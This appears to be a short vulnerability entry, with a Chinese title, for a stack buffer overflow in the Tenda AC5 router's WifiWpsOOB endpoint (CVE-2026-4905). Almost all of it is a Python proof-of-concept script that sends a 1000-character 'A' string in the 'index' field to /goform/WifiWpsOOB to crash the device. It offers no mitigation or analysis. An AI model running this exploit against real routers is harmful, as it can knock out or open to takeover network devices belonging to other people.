Tenda AC5 WifiWpsOOB栈缓冲区溢出漏洞(CVE-2026-4905)

import requests def exploit(target_ip): url = f"http://{target_ip}/goform/WifiWpsOOB" # Constructing a payload to trigger the stack overflow # The specific offset depends on the firmware analysis payload = "A" * 1000 headers = { "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (compatible; Exploit/1.0)" } data = { "index": payload } try: response = requests.post(url, data=data, headers=headers, timeout=5) print(f"Request sent to {url}, Status: {response.status_code}") except Exception as e: print(f"Exploit attempt failed: {e}") if __name__ == "__main__": exploit("192.168.0.1")